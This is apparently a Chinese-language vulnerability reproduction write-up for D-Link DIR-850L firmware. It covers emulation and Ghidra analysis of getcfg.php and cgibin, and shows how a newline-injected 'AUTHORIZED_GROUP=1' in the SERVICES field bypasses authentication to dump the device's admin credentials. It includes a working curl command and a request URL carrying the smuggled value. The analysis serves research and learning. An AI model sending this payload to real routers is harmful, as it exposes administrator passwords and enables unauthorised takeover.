ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP固件下载地址
分析工具
1.attifyOs虚拟机(里面的~/tools/firmware-analysis-toolkit工具)
2.binwalk binwalk -eM xxx.bin解压查看bin文件系统
3.Ghidra用来反编译mips(一般路由器的指令集与ARM,8086同等级)的构架的程序
0x01仿真
一般情况下想要运行起来固件有三种方法,
1.用qume仿真
2.买个对应版本的路由器
3.买个路由器刷入对应版本的固件
第一和第三种比较推荐
这里的仿真用最省事的方法用attifyOs虚拟机虚拟机跳过繁琐的软件安装过程。
我这里attifyos虚拟机和主机共享问价比较麻烦,这里用scp 本地文件 iot@ip:远程目录
使用fat模拟固件也比较简单,一条命令一把梭直接解决
fat的地址https://github.com/attify/firmware-analysis-toolkit
还有一个自动仿真工具叫firmdyne地址https://github.com/firmadyne/firmadyne
如果报了莫名的错误可以试一下python3 fat.py xxx.bin
刚开始运行会给一个ip地址,这个ip就是仿真运行的地址
用root password登录(不需要登录也能把上面的服务开启)
但是这时只能在本虚拟机访问想要远程访问需要做代理
用ssh端口转发
主机运行ssh -D 127.0.0.1:9000 user@ip
浏览器设置代理就能访问远程虚拟机了
0x02反编译环境
Ghidra使用
ctrl+shift+e 搜索字符串
ctrl+e 展示反编译
查看交叉引用
0x03具体分析过程
1.查看getcfg.php
我也不知道为什么是这个文件不过定义为复现漏洞就不需要纠结为什么是这个文件了。
HTTP/1.1 200 OK
Content-Type: text/xml
echo "";?>xml version="1.0" encoding="utf-8"echo "?>";?>
<postxml>
include "/htdocs/phplib/trace.php";
function is_power_user()
{
if($_GLOBALS["AUTHORIZED_GROUP"] == "")
{
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
{
return 0;
}
return 1;
}
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if(is_power_user() == 1) /*这里需要绕过*/
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");/*获取到post里面的services,后面将会被执行*/
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php"; /*中间GETCFG_SVC可控*/
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file); /*在这里运行php文件*/
}
$SERVICE_INDEX++;
}
}
else
{
/* not a power user, return error message */
echo "\tFAILED \n";
echo "\tNot authorized \n";
}
}
?></postxml>
/htdocs/webinc/getcfg/目录下面有一个DIEVICE.ACCOUNT.xml.php运行这个文件可以返回用户名密码 这个可以记录下来,不出意外的话dlink设备应该一直都会是这样。
`curl -d “SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1” http://192.168.0.1/getcfg.php``
但是从上面的脚本看想要运行这段代码需要过一个验证,需要绕过s_power_user() == 1决定权就落到了AUTHORIZED_GROUP
这个全局变量里面。
AUTHORIZED_GROUP
变量在这个文件里面没有定义,所以定义在php处理函数里面,这个程序叫phpcgi
在这里phpcgi是一个软连接,指向cgibin
cgibin里面有一个phpcgi函数 ,所以查看cgibin文件里面的phpcgi_main函数
int phpcgi_main(int param_1,int param_2,char **param_3)
{
char *__s1;
int iVar1;
FILE *__stream;
code *pcVar2;
void *pvVar3;
char acStack48 [24];
int local_18;
pvVar3 = (void *)0x0;
if ((1 < param_1) && (local_18 = param_2, pvVar3 = (void *)sobj_new(), pvVar3 != (void *)0x0)) {
sobj_add_string((int)pvVar3,*(char **)(local_18 + 4));
sobj_add_char((int)pvVar3,10);
while (*param_3 != (char *)0x0) {
sobj_add_string((int)pvVar3,"_SERVER_");
__s1 = *param_3;
param_3 = param_3 + 1;
sobj_add_string((int)pvVar3,__s1);
sobj_add_char((int)pvVar3,10);
}
__s1 = getenv("REQUEST_METHOD"); //用getenv获取环境变量,得到http请求方法
if (__s1 != (char *)0x0) {
iVar1 = strcasecmp(__s1,"HEAD");
if ((iVar1 == 0) || (iVar1 = strcasecmp(__s1,"GET"), iVar1 == 0)) {
pcVar2 = FUN_00406040;
}
else {
iVar1 = strcasecmp(__s1,"POST");
if (iVar1 != 0) goto LAB_004063f8;
pcVar2 = FUN_00405e10;
}
iVar1 = cgibin_parse_request(pcVar2,pvVar3,0x80000); //这个函数获取对应的url字段(c从环境变量里面获得)
if (iVar1 < 0) {
if (iVar1 == -100) {
__stream = fopen("/htdocs/web/info.php","r");
if (__stream != (FILE *)0x0) {
fclose(__stream);
cgibin_print_http_resp
(1,"/info.php","FAIL","ERR_REQ_TOO_LONG",0,
"NOTIFY %s HTTP/1.1\r\nHOST: %s\r\nCONTENT-TYPE: text/xml\r\nCONTENT-LENGTH:%d\r\nNT: upnp:event\r\nNTS: upnp:propchange\r\nSID: %s\r\nSEQ: %d\r\n\r\n"
+ 0x84);
}
}
else {
cgibin_print_http_status(400,"unsupported HTTP request","unsupported HTTP request");
}
}
else {
iVar1 = sess_validate();
sprintf(acStack48,"AUTHORIZED_GROUP=%d",iVar1); //这里对url字段的信息做了整合,可以知道AUTHORIZED_GROUP在这里被赋值
sobj_add_string((int)pvVar3,acStack48);
sobj_add_char((int)pvVar3,10); //注意这里的两个环境变量之间是用\x0a(也就是\n)来分隔的
sobj_add_string((int)pvVar3,"SESSION_UID=");
sess_get_uid((int)pvVar3);
sobj_add_char((int)pvVar3,10);
__s1 = sobj_get_string((int)pvVar3);
iVar1 = xmldbc_ephp((char *)0x0,0,__s1,stdout); //上几步组合出来的字符串在这里以套接字的形式发送给
/*
里面大概的流程是
sockets.sa_data= "/var/run/xmldb_sock"
sockets.sa_family=1
__fd = socket(1,2,0)
a=connect(_fd,sockets,0x6e)
send(a,组合的url参数,长度)
*/
}
goto LAB_004063fc;
}
}
LAB_004063f8:
iVar1 = -1;
LAB_004063fc:
cgibin_clean_tempfiles();
if (pvVar3 != (void *)0x0) {
sobj_del(pvVar3);
}
return iVar1;
}
补充:如果在form表单中method使用POST方法,那么服务器会将会把从表单中填入的数据接收,并传给相应的CGI程序(就是action中指定的CGI程序),同时把REQUEST_METHOD环境变量设置为POST,而相应的CGI程序检查该环境变量,以确定其工作在POST接收数据方式,然后读取这个数据。注意使用POST这种方法传输数据时,Http在数据发送完后,并不会发送相应的数据传输完毕提示信息,所以Http服务器提供了另一个环境变量CONTENET_LENGTH,该环境变量记录了传输过来了多少个字节长度的数据(单位为字节),所以在编写CGI程序时,如果method为POST,就需要通过该变量来限定读取的数据的长度
__s1 = getenv("REQUEST_METHOD");
这个函数用来获取客户端通过 http 请求的一些请求参数,例如 uri、content-length、请求方法等,返回结果存放在二维数组里面。
cgibin_parse_request去解析post参数,将参数解析并存入到内存当中
cgibin_parse_request函数检查了CONTENT_TYPE和CONTENT_LENGTH两个环境变量。然后调用了 parse_uri函数
parse_uri()函数检查URL是否包含字符“?”,并组织要发送的URL的结构(具体内容咱也分析不了,先记下)
中间回检查REQUEST_URI环境变量
cgibin_parse_request返回时将初始化一些变量
执行sess_validate()函数,
并将该值分配给“ AUTHORIZED_GROUP”参数。
抓到的请求包是这个样子
这个是用http://192.168.0.1/getcfg.php?SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1
抓到的包(并没有拿到password)
用curl -d 使用post请求,item里面需要填SERVICES,它的值为DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 %0a后面的部分在cgibin中被分割掉并处理,在getcfg.php里面处理DEVICE.ACCOUNT这个字段,这个字段是一个文件,读这个文件。